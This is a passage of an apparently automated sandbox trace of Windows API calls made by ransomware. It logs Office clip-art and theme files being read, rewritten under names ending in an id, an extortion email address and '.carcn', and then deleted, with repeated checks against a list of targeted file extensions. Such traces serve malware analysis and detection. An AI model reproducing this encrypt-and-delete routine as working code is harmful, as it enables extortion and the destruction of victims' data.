lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.633] WriteFile (in: hFile=0x544, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0273.633] SetEndOfFile (hFile=0x544) returned 1 [0273.764] CloseHandle (hObject=0x544) returned 1 [0273.764] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.765] SetEndOfFile (hFile=0x43c) returned 1 [0273.768] CloseHandle (hObject=0x43c) returned 1 [0273.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0273.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.920] lstrlenW (lpString=".doc") returned 4 [0273.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.920] lstrlenW (lpString=".docx") returned 5 [0273.920] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.920] lstrlenW (lpString=".pdf") returned 4 [0273.920] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.920] lstrlenW (lpString=".xls") returned 4 [0273.920] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.921] lstrlenW (lpString=".xlsx") returned 5 [0273.921] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.921] lstrlenW (lpString=".ppt") returned 4 [0273.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString=".zip") returned 4 [0273.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.921] lstrlenW (lpString=".rar") returned 4 [0273.921] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.921] lstrlenW (lpString=".bz2") returned 4 [0273.921] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.921] lstrlenW (lpString=".7z") returned 3 [0273.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString=".dbf") returned 4 [0273.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString=".1cd") returned 4 [0273.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString=".jpg") returned 4 [0273.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.921] lstrlenW (lpString=".doc") returned 4 [0273.921] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.921] lstrlenW (lpString=".docx") returned 5 [0273.921] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.921] lstrlenW (lpString=".pdf") returned 4 [0273.921] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.921] lstrlenW (lpString=".xls") returned 4 [0273.922] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.922] lstrlenW (lpString=".xlsx") returned 5 [0273.922] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.922] lstrlenW (lpString=".ppt") returned 4 [0273.922] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.922] lstrlenW (lpString=".zip") returned 4 [0273.922] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.922] lstrlenW (lpString=".rar") returned 4 [0273.922] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.922] lstrlenW (lpString=".bz2") returned 4 [0273.922] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.922] lstrlenW (lpString=".7z") returned 3 [0273.922] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.922] lstrlenW (lpString=".dbf") returned 4 [0273.922] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.922] lstrlenW (lpString=".1cd") returned 4 [0273.922] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0273.922] lstrlenW (lpString=".jpg") returned 4 [0273.922] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.922] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.922] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0273.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.923] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6700) returned 1 [0273.923] CloseHandle (hObject=0x524) returned 1 [0273.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0273.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0273.924] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.924] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.926] GetLastError () returned 0x0 [0273.926] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0274.023] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0274.024] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.024] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.024] SetEndOfFile (hFile=0x43c) returned 1 [0274.026] CloseHandle (hObject=0x43c) returned 1 [0274.026] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.026] SetEndOfFile (hFile=0x524) returned 1 [0274.032] CloseHandle (hObject=0x524) returned 1 [0274.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.034] lstrlenW (lpString=".doc") returned 4 [0274.034] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.034] lstrlenW (lpString=".docx") returned 5 [0274.034] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.034] lstrlenW (lpString=".pdf") returned 4 [0274.034] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.034] lstrlenW (lpString=".xls") returned 4 [0274.034] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.034] lstrlenW (lpString=".xlsx") returned 5 [0274.034] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.034] lstrlenW (lpString=".ppt") returned 4 [0274.034] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.034] lstrlenW (lpString=".zip") returned 4 [0274.034] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.034] lstrlenW (lpString=".rar") returned 4 [0274.034] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.034] lstrlenW (lpString=".bz2") returned 4 [0274.034] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.035] lstrlenW (lpString=".7z") returned 3 [0274.035] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.035] lstrlenW (lpString=".dbf") returned 4 [0274.035] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.035] lstrlenW (lpString=".1cd") returned 4 [0274.035] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.035] lstrlenW (lpString=".jpg") returned 4 [0274.035] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.035] lstrlenW (lpString=".doc") returned 4 [0274.035] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.035] lstrlenW (lpString=".docx") returned 5 [0274.035] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.035] lstrlenW (lpString=".pdf") returned 4 [0274.035] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.035] lstrlenW (lpString=".xls") returned 4 [0274.035] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.035] lstrlenW (lpString=".xlsx") returned 5 [0274.035] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.035] lstrlenW (lpString=".ppt") returned 4 [0274.036] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.036] lstrlenW (lpString=".zip") returned 4 [0274.036] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.036] lstrlenW (lpString=".rar") returned 4 [0274.036] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.036] lstrlenW (lpString=".bz2") returned 4 [0274.036] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.036] lstrlenW (lpString=".7z") returned 3 [0274.036] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.036] lstrlenW (lpString=".dbf") returned 4 [0274.036] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.036] lstrlenW (lpString=".1cd") returned 4 [0274.036] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0274.036] lstrlenW (lpString=".jpg") returned 4 [0274.036] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.036] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0274.036] lstrlenW (lpString="SWEST_01.MID") returned 12 [0274.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0274.039] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=8501) returned 1 [0274.039] CloseHandle (hObject=0x524) returned 1 [0274.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0274.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0274.040] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.040] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0274.045] GetLastError () returned 0x0 [0274.045] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2135, lpOverlapped=0x0) returned 1 [0274.047] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2140, lpOverlapped=0x0) returned 1 [0274.049] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.049] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.049] SetEndOfFile (hFile=0x43c) returned 1 [0274.049] CloseHandle (hObject=0x43c) returned 1 [0274.049] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.049] SetEndOfFile (hFile=0x524) returned 1 [0274.053] CloseHandle (hObject=0x524) returned 1 [0274.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0275.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.971] lstrlenW (lpString=".doc") returned 4 [0275.971] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.971] lstrlenW (lpString=".docx") returned 5 [0275.971] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.971] lstrlenW (lpString=".pdf") returned 4 [0275.971] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.971] lstrlenW (lpString=".xls") returned 4 [0275.971] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.971] lstrlenW (lpString=".xlsx") returned 5 [0275.971] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.971] lstrlenW (lpString=".ppt") returned 4 [0275.971] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.971] lstrlenW (lpString=".zip") returned 4 [0275.972] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.972] lstrlenW (lpString=".rar") returned 4 [0275.972] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.972] lstrlenW (lpString=".bz2") returned 4 [0275.972] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.972] lstrlenW (lpString=".7z") returned 3 [0275.972] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.972] lstrlenW (lpString=".dbf") returned 4 [0275.972] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.972] lstrlenW (lpString=".1cd") returned 4 [0275.972] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.972] lstrlenW (lpString=".jpg") returned 4 [0275.972] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.972] lstrlenW (lpString=".doc") returned 4 [0275.972] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.972] lstrlenW (lpString=".docx") returned 5 [0275.972] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.972] lstrlenW (lpString=".pdf") returned 4 [0275.972] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.972] lstrlenW (lpString=".xls") returned 4 [0275.972] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.972] lstrlenW (lpString=".xlsx") returned 5 [0275.972] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.973] lstrlenW (lpString=".ppt") returned 4 [0275.973] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.973] lstrlenW (lpString=".zip") returned 4 [0275.973] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.973] lstrlenW (lpString=".rar") returned 4 [0275.973] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.973] lstrlenW (lpString=".bz2") returned 4 [0275.973] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.973] lstrlenW (lpString=".7z") returned 3 [0275.973] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.973] lstrlenW (lpString=".dbf") returned 4 [0275.973] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.973] lstrlenW (lpString=".1cd") returned 4 [0275.973] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0275.973] lstrlenW (lpString=".jpg") returned 4 [0275.973] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.973] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0275.973] lstrlenW (lpString="Glossy.eftx") returned 11 [0275.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0275.974] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=335038) returned 1 [0275.974] CloseHandle (hObject=0x524) returned 1 [0275.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0275.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0275.975] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.975] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0275.975] GetLastError () returned 0x0 [0275.975] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0276.282] WriteFile (in: hFile=0x414, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0276.290] ReadFile (in: hFile=0x524, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.290] WriteFile (in: hFile=0x414, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0276.290] SetEndOfFile (hFile=0x414) returned 